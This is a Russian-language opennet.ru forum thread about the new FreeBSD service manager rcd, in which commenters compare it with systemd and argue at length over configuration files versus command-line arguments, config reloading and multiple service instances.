Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от opennews (ok), 10-Сен-26, 10:22
Батист Даруссен (Baptiste Daroussin), член FreeBSD Core Team и автор пакетного менеджера pkg, развивает новый системный менеджер для FreeBSD - rcd. Системный менеджер rcd вызывается init-процессом вместо /etc/rc, читает файлы конфигурации сервисов (/etc/rcd.d/*.ucl), строит дерево зависимостей и запускает сервисы по возможности параллельно друг с другом, после чего отслеживает работу сервисов и при необходимости их перезапускает... Подробнее: https://www.opennet.ru/opennews/art.shtml?num=66245
Ответить | Правка | Cообщить модератору

Сообщения

[Сортировка по времени | RSS]

1. "Для FreeBSD развивают новый системный менеджер rcd"	–31 +/–
Сообщение от JoePeach (ok), 10-Сен-26, 10:22
Зачем изобретать systemd, если systemd же есть?
Ответить | Правка | Наверх | Cообщить модератору

	3. "Для FreeBSD развивают новый системный менеджер rcd"	+8 +/–
	Сообщение от Аноним (3), 10-Сен-26, 10:27
	NIH синдром неизлечим, но скорее всего хотят по своему все делать, чтобы потом не проталкивать в systemd спорные решения, которые скорее всего отклоняет, ещё и, как принято в Линукс среде, крепким словом 😁
	Ответить | Правка | Наверх | Cообщить модератору

	131. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 00:16
	Линукс не терпит конкурентов.
	Ответить | Правка | Наверх | Cообщить модератору

	170. "Для FreeBSD развивают новый системный менеджер rcd"	–3 +/–
	Сообщение от Аноним (-), 11-Сен-26, 10:33
	> Линукс не терпит конкурентов. Linux пофиг на конкурентов. Там прокладывают свой путь, решая свои проблемы и достигая свои цели. Если вы оказались на пути шоссе - дорожный каток легко раздавит пару клопов. Воняй, не воняй, прокладка шоссе - не остановится. Поэтому вы либо съе...сь от катка, либо будете закатаны в асфальт. Разница в масштабах - работает так. А вон то - типачное нечто в стиле BSD. Не решает ни 1 проблемы + создает новые. 1) Разлапистый синтаксис. Говорят что краткость сестра таланта. И если сравнить юниты sd с вон тем... 2) О да, скриптинг, на одном правильном языке, прям в этой штуке - это очень юниксвэйно. 3) И наверняка будет длинная очередь из майнтайнеров - просто мечтающих убить свое время на въезд в чей-то навороченный полет мысли в каких-то скриптах. Вы уж извините - но разнесение кода и конфигурации было EPIC WIN - а вы так ничего и не поняли. Код вперемешку с конфигурацией это очень плохой паттерн, если все это поддерживать надо и тем более - другому человеку передать.
	Ответить | Правка | Наверх | Cообщить модератору

	7. "Для FreeBSD развивают новый системный менеджер rcd"	+7 +/–
	Сообщение от Аноним (7), 10-Сен-26, 10:38
	А это не systemd. Оно не живёт в PID1 и всё, что может сломаться, не несёт туда. Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	68. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (68), 10-Сен-26, 15:58
	> Оно не живёт в PID1 Инит без pid 1? Хех. > и всё, что может сломаться, не несёт туда. Прямо как systemd... Ох уж эта опеннетная кекспертиза. Вы бы хоть разобрались что да как чтобы предметно хейтить.
	Ответить | Правка | Наверх | Cообщить модератору

	184. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (184), 11-Сен-26, 11:38
	> А это не systemd. Оно не живёт в PID1 и всё, что > может сломаться, не несёт туда. > Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио. В ваших влажных мечтах. Кому в проде надо художества на Lua прямо в системной конфигурации? Разделение на код и ДЕКЛАРАТИВНУЮ конфигурацию это лучшее что sd сделал. А кому сие мало - зовут скрипты через Exec* но это они будут делать только если реально приперло. А в целом проды будут избавлены от свободных художников желающих варить в скрипте кофе (тем более что реально сварить кофе и тем более притащить его в постель у них кишка все равно тонка).
	Ответить | Правка | К родителю #7 | Наверх | Cообщить модератору

	10. "Для FreeBSD развивают новый системный менеджер rcd"	+12 +/–
	Сообщение от Аноним (10), 10-Сен-26, 10:42
	systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить эти фичи в ядро БСД просто так не получится.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	118. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 22:02
	Дело не в протащить, дело в том что заинтересованных в этом нет.
	Ответить | Правка | Наверх | Cообщить модератору

	180. Скрыто модератором	+/–
	Сообщение от Аноним (180), 11-Сен-26, 11:21
	Потому и нет заинтерисованных, что фиг протащишь. Команда systemd даже linux дистрибьютеров посылает с их идеями и предложениями, freebsd вооще без варинтов.
	Ответить | Правка | Наверх | Cообщить модератору

	189. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 11:45
	> systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить > эти фичи в ядро БСД просто так не получится. К cgroups2 прибит не только sd но и всякие контейнеры и проч. Хотя если бсд это не надо - то чьи это проблемы? Могут пытаться свои ифейсы для этого продвигать, только их поддерживает примерно - никто. Ну или можно вопить что контейнеры в нормальном виде - не надо :). А то ишь чего придумали, ресурсы контейнерам полисовать!
	Ответить | Правка | К родителю #10 | Наверх | Cообщить модератору

	21. "Для FreeBSD развивают новый системный менеджер rcd"	–6 +/–
	Сообщение от опеншлёпивпродакшн (?), 10-Сен-26, 11:24
	Если дать 100 людям задание приготовить суп и дать одинаковые ингредиенты, то они все приготовят одинаковый суп?
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	34. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от pfg21 (ok), 10-Сен-26, 12:28
	чтобы вместо богопротивного виндовского фотмата ini был рассововерный json конечно же !!
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	53. "Для FreeBSD развивают новый системный менеджер rcd"	+5 +/–
	Сообщение от Гуманоид (?), 10-Сен-26, 14:17
	за конфиги на json есть отдельный котел в аду
	Ответить | Правка | Наверх | Cообщить модератору

	71. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (71), 10-Сен-26, 16:01
	только ini :)
	Ответить | Правка | Наверх | Cообщить модератору

	90. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (90), 10-Сен-26, 19:45
	XML
	Ответить | Правка | Наверх | Cообщить модератору

	128. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
	Сообщение от Аноним (71), 11-Сен-26, 00:03
	я вот одного понять не могу никак, на кой программе которая имеет конфигурационный файл еще и аргументы командной строки? Я могу там понять максимум опция --version, а все остальное зачем когда есть конфигурационный файл?
	Ответить | Правка | Наверх | Cообщить модератору

	151. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от bergentroll (ok), 11-Сен-26, 06:02
	Удобново. В CI каких-нибудь условных запускать, не создавая конф. Либо через env-переменные.
	Ответить | Правка | Наверх | Cообщить модератору

	223. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:11
	А разве не удобно готовить конфиг под разные задачи и тем самым потом не ковырять чем запуск одной лапши отличается от другой. Кто-нибудь в здравом уме хотя бы раз запускал тот же gcc cо всеми необходимыми опциями, библиотеками инклудами и т.д.? Поэтому придумали системы сборки чтобы такую лапшу каждый раз в командной строке не писать? Сложно сделать нечто подобное project.conf и запускать gcc --conf=project.conf ?
	Ответить | Правка | Наверх | Cообщить модератору

	315. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от bergentroll (ok), 12-Сен-26, 06:20
	> А разве не удобно готовить конфиг под разные задачи А если надо несколько раз прогнать с немного разными опциями, то несколько конфигов записывать.
	Ответить | Правка | Наверх | Cообщить модератору

	326. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (326), 12-Сен-26, 13:32
	> А если надо несколько раз прогнать то есть несколько раз запустить, и что мы делаем? пишем заново руками все опции? или сохраняем в условный run.sh? Ниже в коментах описал это, это ничем не отличается от конфига, аргументы это избыточное дублирование, в коде нужно писать парсер как аргументов, так и конфига если он будет использоваться.
	Ответить | Правка | Наверх | Cообщить модератору

	336. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от bergentroll (ok), 12-Сен-26, 14:39
	> в коде нужно писать парсер как аргументов, так и конфига если > он будет использоваться. Не является чем-то существенным в современном ПО, тем более реализовано в библиотеках.
	Ответить | Правка | Наверх | Cообщить модератору

	155. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 07:28
	Как минимум через комм строку удобнее передевать: - путь к конфиг файлу - путь к пид файлу - флаг чтобы запускать демоном/интерактивно - хэлп/usage
	Ответить | Правка | К родителю #128 | Наверх | Cообщить модератору

	190. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 11:48
	> Как минимум через комм строку удобнее передевать: > - путь к конфиг файлу Это надо - только в случае кастомных конфигов. Если они есть. И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? > - путь к пид файлу Pid файлы это вообще жесточайший легаси костыль, который должен умереть. > - флаг чтобы запускать демоном/интерактивно > - хэлп/usage Это вообще - user facing штуки.
	Ответить | Правка | Наверх | Cообщить модератору

	197. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 11:54
	>И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? Осильте nix.
	Ответить | Правка | Наверх | Cообщить модератору

	236. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 15:56
	>>И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? > Осильте nix. Дорогой фанат nix, в этом вашем nix что, системды нету? Того же tor там может быть - одна копия как программы установлен. Но s-d позволяет запустить 5 разных инстансов с разными конфигами, если оно надо. Это же - с любыми иными программами, httpd там или vpn, или что там еще - если надо эн инстансов с разной конфигурацией. А копия программы в системе при этом одна. Представляете, вполне валидно запустить 5 инстансов httpd с разными настройками. Один там допустим для user-facing, другой как некий хосп аппсервера, третий еще что-нибудь типа морды управления и доступный например только через интранет вообще. И так далее. Это все ортогонально nix - так любой дистр с s-d может. А в bds как обычно - удобства во дворе...
	Ответить | Правка | Наверх | Cообщить модератору

	246. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:22
	>но более-менее общими свойствами запуска? Вот это. Если вам нужно разделить части конфига - то это единственный вариант. Если вас устроит дублирование конфигов и ручная правка - хватит и обычного systemd.
	Ответить | Правка | Наверх | Cообщить модератору

	258. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 17:40
	>>но более-менее общими свойствами запуска? > Вот это. Если вам нужно разделить части конфига - то это единственный вариант. Это какая-то очень нишевая хотелка. Я вот честно, не обломаюсь скопировать 5 конфигов tor или httpd и нарулить их так как надо в энном инстансе. Более того - "common core" чреват тем что при нужде сменить параметр там, и новые значения ок не всем инстансам - довольно много головняка будет. > Если вас устроит дублирование конфигов и ручная правка - хватит > и обычного systemd. У меня не настолько огромные конфиги чтобы их реюз и дедубликация был серьезным топиком. Если они становятся такими - возможно, кто-то что-то делает не так на совсем другом уровне... А в случае sd конкретно - можно еще разнести это по разным юзерям, с разными лимитами ресурсов, ограничениями доступа к системе и проч.
	Ответить | Правка | Наверх | Cообщить модератору

	286. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:33
	> И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? Не понял о чём речь? Пишите понятней. > Pid файлы это вообще жесточайший легаси костыль, который должен умереть. Не вижу проблемы, кроме только той, что pid реюзается в системе.
	Ответить | Правка | К родителю #190 | Наверх | Cообщить модератору

	222. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:06
	> - путь к конфиг файлу конечно, как и --version я еще могу понять > - путь к пид файлу прочесть из конфига никак? > - флаг чтобы запускать демоном/интерактивно все так же в конфиге, daemon = on/off > - хэлп/usage так этот хэлп и usage по командной строке или по всему конфигу? нет смысла когда есть практика man.
	Ответить | Правка | К родителю #155 | Наверх | Cообщить модератору

	288. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:35
	Прочесть из конфига можно, но это не всегда удобно. usage по комм строке естессно. И это мы ещё не дошли до переменных окружения - мне лично они больше нравятся чем парсить комм строку, прям на порядки удобнее и со стороны передающей и со стороны принимающей.
	Ответить | Правка | Наверх | Cообщить модератору

	162. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 09:40
	Например, для запуска нескольких экземпляров одновременно.
	Ответить | Правка | К родителю #128 | Наверх | Cообщить модератору

	225. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:15
	и для этого мне нужен аргумент командной строки? Даже если нет аргумента конфига можно это реализовать так. Существует дефолтовый путь к конфигу, в самом конфиге можно организовать определение (декларирование) конфигурации для разных экземпляров. А потом достаточно написать ./my_program, которая прочтет конфиг увидит в конфиге две декларации для запуска и запустит два экземпляра самой себя с разными распарсенными конфигами. Я не вижу необходимости два раза запускать одну и ту же программу, если она сама может сделать это.
	Ответить | Правка | Наверх | Cообщить модератору

	239. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 16:05
	> и для этого мне нужен аргумент командной строки? Ну а как ты иначе раздашь разные конфиги разным инстансам? В обязаловку затребуешь отдельный контейнер этой приблуде? Даже если это не было частью плана админа? > Существует дефолтовый путь к конфигу, в самом конфиге можно организовать определение (декларирование) > конфигурации для разных экземпляров. И получить вместо 5 мелких конфигов - один убер-монстр где в одну ломовую простыню будет запихано вообще совсем все. И при желании сменить пару параметров в вон том очевидном сервисе - придется вкуривать в навороченный монстр с вообще всем. Еще lua его обмазать, навороченных условий типа применения конфига только в полнолуние високосного года, во админ будет рад когда им в полнолуние високосного года - пятки почему-то прострелит, максимально неочевидным способом. Именно такой прод все и хотят! > А потом достаточно написать ./my_program, которая > прочтет конфиг увидит в конфиге две декларации для запуска и запустит > два экземпляра самой себя Это что, у нас будет еще +1 способ запуска софта? А допустим рестарты при вылете - тоже оно будет рюхать? Или там мониторинг зависонаов? И что делать если  мы под разными допустим юзерями хотим разные части запустить? Ну а зачем допустим аппсерверу с своим добром иметь доступ - к файлам морды мониторинга какой, например? Чтоб при случае 31337 x4x0r смог этим всем убедительно порулить? > с разными распарсенными конфигами. Я не вижу > необходимости два раза запускать одну и ту же программу, если она > сама может сделать это. А я... 1) Не вижу нужды кодить в каждой программе эрзац-подобие сервис-менеджера. При том убого и самопально. 2) При том это будет убого и самопально. 3) Когда все программы этим занимаются - это еще и дофига кода дублируется. 4) И вообще - у всех по разному - так что удачи в администрировании такого зоопарка. 5) Далеко не все смогут в нормальный авторестарт, мониторинг зависонов и проч. 6) И предлагается этой штуке дать висеть с правами рут? Или как оно под разными юзерями например будет запускать эн инстансов? А с разными ресурсными лимитами? Или даже в разных контейнерах?
	Ответить | Правка | Наверх | Cообщить модератору

	251. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 16:48
	> Ну а как ты иначе раздашь разные конфиги разным инстансам? Ты тоже нейрослоупок? Я же описал как, прочти коментарий внимательно. > В обязаловку затребуешь отдельный контейнер этой приблуде? Ну все, ясно, очередной нейрослоупок!
	Ответить | Правка | Наверх | Cообщить модератору

	306. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 12-Сен-26, 00:58
	>> Ну а как ты иначе раздашь разные конфиги разным инстансам? > Ты тоже нейрослоупок? Я же описал как, прочти коментарий внимательно. Довольно похабненько и с своими проблемами. В виде колупания конфига чуть не с войну и мир если инстансов много - и весьма специфичным головняком. >> В обязаловку затребуешь отдельный контейнер этой приблуде? > Ну все, ясно, очередной нейрослоупок! Да, я и правде не догоняю - зачем такая ацкая похабщина в общем случае нужна.
	Ответить | Правка | Наверх | Cообщить модератору

	309. Скрыто модератором	+/–
	Сообщение от Аноним (223), 12-Сен-26, 02:42
	> Да, я и правде не догоняю потому-что нейрослоупок, ты даже читать не умеешь.
	Ответить | Правка | Наверх | Cообщить модератору

	245. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:20
	>Я не вижу необходимости два раза запускать одну и ту же программу, если она сама может сделать это. Вы переизобретаете велосипед. Как быть с ситуацией, когда программа уже запущена и нужно дозапустить ещё одну? Как быть с ситуацией, когда нужно запустить ещё один экземплр но другой версии? И так далее.
	Ответить | Правка | К родителю #225 | Наверх | Cообщить модератору

	250. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 16:46
	> Вы переизобретаете велосипед. подробней, где такое поведение реализовано? У вас с логикой все в порядке? Вы меня опровергаете и тем временем говорите что я переизобретаю то, что уже существует? Это же противоречие! > Как быть с ситуацией, когда программа уже запущена и нужно дозапустить ещё одну? Дописать конфиг для нового экземпляра, и послать сигнал перечитки конфига, в чем проблема? У вас nginx разве не так работает? > Как быть с ситуацией, когда нужно запустить ещё один экземплр но другой версии? Другая версия программы никакого отношения к конфигу не имеет, можно механизмом лайв патчинга, либо еще просто, завершить текущую программу и запустить свежую. пс: учитывая ваши противоречивые суждения, делаю вывод, что вЫЫ нейрослоупок, отвечать на этот комент не надо, на этом диалог завершен!
	Ответить | Правка | Наверх | Cообщить модератору

	289. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:38
	Вы предлагаете убить кучу времени програмиста на вот эту всю фигату с конфигом, когда 95% юзеров будет запускать с одним конфигом и оставшиеся 5% предпочтут кучу экземпляров с разными конфигами. Да, идея то красивая и для юзера просто высший класс, но с точки зрения кода просто ад сплошной.
	Ответить | Правка | Наверх | Cообщить модератору

	301. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 23:27
	> Вы предлагаете убить кучу времени програмиста на вот эту всю фигату с конфигом, когда 95% юзеров будет запускать с одним конфигом и оставшиеся 5% предпочтут кучу экземпляров с разными конфигами. ну а чем это отличается от парсинга аргументов командной строки? Или пихающий usage в код программы, а не в мануал :) Зачем тратить время на это? > но с точки зрения кода просто ад сплошной. Ну в чем тогда разница между парсингом аргументов и парсингом условного ini конфига? Повторяю, usage еще пихать в код это тот самый адЪ о котором вы говорите, не так ли?
	Ответить | Правка | Наверх | Cообщить модератору

	332. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:32
	Потому что парсер комм строки - берётся из либы, внутри проги это просто цикл со свичём, тупа механическая работа по конвертации имя-значение. Тоже самое с ini, даже в случае своего парсера. Usage - просто принт с портянкой текста. Вы же там хотели чтобы процесс на лету применял новый конфиг без перезапуска. Если у вас нечто сложнее хэлло ворлда то это ппц как не привиально. Даже на примере того же nginx. У тебя есть процесс загруженый с конфигом, есть те кто уже обслуживается с теми параметрами что были заданы. Тут прибегает админ с новыми очень важным изменением - что приложению то делать с клиентами если не хочется перезапускатся с дропом? Вот nginx продолжает обслуживать тех кто уже есть со старым конфигом до тех пор пока они сами не уйдут. И только потом освобождает всё что с этим было связано. А если админ буде свои ценные правки вносить раньше чем клиенты будут успевать свалить - представляешь какая свалка конфигов образуется в памяти?)
	Ответить | Правка | Наверх | Cообщить модератору

	358. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (326), 12-Сен-26, 22:18
	> А если админ буде свои ценные правки вносить раньше чем клиенты будут успевать свалить - представляешь какая свалка конфигов образуется в памяти?) А какой ад творится когда при ddos-е в лям соединений сделать грейсфулл шатдаун, так и целый день он будет выключаться. Но и это все решаемо.
	Ответить | Правка | К родителю #332 | Наверх | Cообщить модератору

	176. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 10:52
	> я вот одного понять не могу никак, на кой программе которая имеет > конфигурационный файл еще и аргументы командной строки? Я могу там понять > максимум опция --version, а все остальное зачем когда есть конфигурационный файл? Ну, у меня вот было требование обеспечения стабильного поведения без сайд-эффектов и возможности модификации в рантайме. А то поменяет кто конфигу, а приложение не перезапустит, или гонки-гоночки если оно за состоянием файла бдит - оно нам надо? Оно нам не надо...
	Ответить | Правка | К родителю #128 | Наверх | Cообщить модератору

	200. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 12:01
	Осильте nix и у решатся проблемы ваши.
	Ответить | Правка | Наверх | Cообщить модератору

	204. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 12:25
	> Осильте nix и у решатся проблемы ваши. Сектант, что ли? Эта проблема в инфраструктурном слое - не решается.
	Ответить | Правка | Наверх | Cообщить модератору

	207. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 12:40
	>Сектант, что ли? Вам дают решение строго по вашему ТЗ - запретить модификацию конфига без перезапуска программы, а вы этого даже не замечаете.
	Ответить | Правка | Наверх | Cообщить модератору

	210. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 13:10
	>>Сектант, что ли? > Вам дают решение строго по вашему ТЗ - запретить модификацию конфига без > перезапуска программы, а вы этого даже не замечаете. Ну, детализируйте мне его - может, я правда чего не понимаю? А то совет "возьми сепульку - и рантайм у тебя всегда будет соответствовать конфигурации" хороший, но немного так не полный.
	Ответить | Правка | Наверх | Cообщить модератору

	219. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 14:19
	>Ну, детализируйте мне его - может, я правда чего не понимаю? Есть декларативная конфигурация на nix. После того, как её изменили, запускается пересборка, и изменённые сервисы перезагружаются. Без гонок и прочей магии.
	Ответить | Правка | Наверх | Cообщить модератору

	224. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:13
	>>Ну, детализируйте мне его - может, я правда чего не понимаю? > Есть декларативная конфигурация на nix. После того, как её изменили, запускается пересборка, > и изменённые сервисы перезагружаются. Без гонок и прочей магии. Ну, т.е. нельзя взять, поправить рантайм конфигурацию nginx и (не) перезапустить его - нельзя, да? Вот совсем-совсем никак? Или чуть-чуть можно?
	Ответить | Правка | Наверх | Cообщить модератору

	242. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:15
	>Ну, т.е. нельзя взять, поправить рантайм конфигурацию nginx и (не) перезапустить его - нельзя, да? Совершенно верно, нельзя, поскольку /nix смонтирован в как только для чтения.
	Ответить | Правка | К родителю #224 | Наверх | Cообщить модератору

	248. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 16:42
	Прикольная идея. Не знал, спасибо.
	Ответить | Правка | К родителю #242 | Наверх | Cообщить модератору

	226. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:17
	HUP сигнал вроде существует 100 лет, в чем проблема перечитывать конфиг? Да даже лайв кернел патчинг давно уже существует, а тут за какую-то "формулу один" говорите, все давно уже придумано как этого всего избежать.
	Ответить | Правка | К родителю #176 | Наверх | Cообщить модератору

	229. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:30
	> HUP сигнал вроде существует 100 лет, в чем проблема перечитывать конфиг? Да > даже лайв кернел патчинг давно уже существует, а тут за какую-то > "формулу один" говорите, все давно уже придумано как этого всего избежать. Так проблема - если не брать мрии никсоводов - как раз в том и есть, что "в жизни" кто-то рано или поздно ОБЯЗАТЕЛЬНО конфигурацию вот поправит - а сервис не передернет. Всякая инфраструктурная обвязка с хэшами конфигмап в общем помогает, но делать её самому из-палка-унд-веревка там, где нет готовых решений - ну, такое себе.
	Ответить | Правка | Наверх | Cообщить модератору

	235. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 15:55
	> конфигурацию вот поправит - а сервис не передернет. тут просто зависит от уровня продакшена, в нормальных серьезных продакшенах, конфиг после правки должен быть протестирован в тестовом окружении, после этого принимается решение применения его к продакшену, все это заранее планируется, и передергивает сервис в продакшене уже совсем другие компетентные люди. И в таком случае ситуация "забить передернуть" - исключена. Даже если не серьезный продакшен, а какой-нибудь локалхост, зададимся вопросом, зачем правим? Правим ровно потому, чтобы потом передернуть. Без правки, необходимости в передергивании просто нет. И тут сразу возникает вопрос, а есть ли механизм как то узнать по запущенной программе какую версию конфига она исполняет? Значит должен быть какой-то config.lock.
	Ответить | Правка | Наверх | Cообщить модератору

	237. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:59
	>[оверквотинг удален] > тут просто зависит от уровня продакшена, в нормальных серьезных продакшенах, конфиг после > правки должен быть протестирован в тестовом окружении, после этого принимается решение > применения его к продакшену, все это заранее планируется, и передергивает сервис > в продакшене уже совсем другие компетентные люди. И в таком случае > ситуация "забить передернуть" - исключена. Даже если не серьезный продакшен, а > какой-нибудь локалхост, зададимся вопросом, зачем правим? Правим ровно потому, чтобы потом > передернуть. Без правки, необходимости в передергивании просто нет. > И тут сразу возникает вопрос, а есть ли механизм как то узнать > по запущенной программе какую версию конфига она исполняет? Значит должен быть > какой-то config.lock. Угу. Вот я и решил, что забить всю конфигурацию в параметры командной строки (Вру, не всю - пароль не стал) - как будто самое простое, что может решить проблему. Гарантии собственно обеспечивает операционная система, визибилити вот, прям на ладони ). Удобство... этого слова в ТТ не было )))
	Ответить | Правка | Наверх | Cообщить модератору

	253. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 16:52
	> Вот я и решил, что забить всю конфигурацию в параметры командной строки и никаких run.sh верим верим :))))
	Ответить | Правка | Наверх | Cообщить модератору

	257. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 17:33
	>> Вот я и решил, что забить всю конфигурацию в параметры командной строки > и никаких run.sh верим верим :)))) А чем он тебе в контексте задачи помешал? Рантайм-конфигурацию ты видишь, изменить её без перезапуска - нельзя. А как её в приложение пихнуть - дело уже десятое.
	Ответить | Правка | Наверх | Cообщить модератору

	261. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 18:07
	> Рантайм-конфигурацию ты видишь, изменить её без перезапуска - нельзя. я должен из консоли выдирать строку с опциями потом их распарсить, чтобы понять какие параметры конфигурации при запуске использовались? А перезапускать надо через убивание процесса, и полчаса вводить все аргументы запуска, удачи вам без run.sh это делать.
	Ответить | Правка | К родителю #257 | Наверх | Cообщить модератору

	272. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 19:43
	Ну я - через systemd unit, вы - можете и через run.sh - никто ж не возражает. А вот как вы определяете, с какой реальной конфигурацией запущен сервис - мне интересно.
	Ответить | Правка | К родителю #261 | Наверх | Cообщить модератору

	285. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (223), 11-Сен-26, 22:27
	> Ну я - через systemd unit, вы - можете и через run.sh - никто ж не возражает. Так вопрос как раз в том, зачем мне нужны эти аргументы командной строки, если я могу описать их в файле, аля конфиге, и случай как раз таки с systemd unit, run.sh, ничем не отличается от того, что я предлагаю - отказаться от аргументов командной строки и использовать банальный конфиг! > А вот как вы определяете, с какой реальной конфигурацией запущен сервис - мне интересно. Всегда можно хранить config.lock, либо при запуске писать в лог файл конфиг используемый при старте, нормальная практика. И перечитка, перезапуск без кила, тоже давно придуман.
	Ответить | Правка | К родителю #272 | Наверх | Cообщить модератору

	338. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 12-Сен-26, 16:07
	>> Ну я - через systemd unit, вы - можете и через run.sh - никто ж не возражает. > Так вопрос как раз в том, зачем мне нужны эти аргументы командной > строки, если я могу описать их в файле, аля конфиге, и > случай как раз таки с systemd unit, run.sh, ничем не отличается > от того, что я предлагаю - отказаться от аргументов командной строки > и использовать банальный конфиг! Можете. Убедиться в том, что программа исполняется вот именно с этой конфигурацией - уже несколько сложнее. Ну вот банально - какая из стандартных библиотек по работе с конфигурациями поддерживает сохранение рантайм-конфигурации в config.lock? Что будет при работе нескольких реплик? >> А вот как вы определяете, с какой реальной конфигурацией запущен сервис - мне интересно. > Всегда можно хранить config.lock, либо при запуске писать в лог файл конфиг > используемый при старте, нормальная практика. И перечитка, перезапуск без кила, тоже > давно придуман. И это тоже правда - запись в лог использую (Правда через пару месяцев - удачи его найти), отдельный метод в вебне для получения runtime config из файла делаю. Я не говорю, что это "самое лучшее" и максимально универсальное решение. Просто... 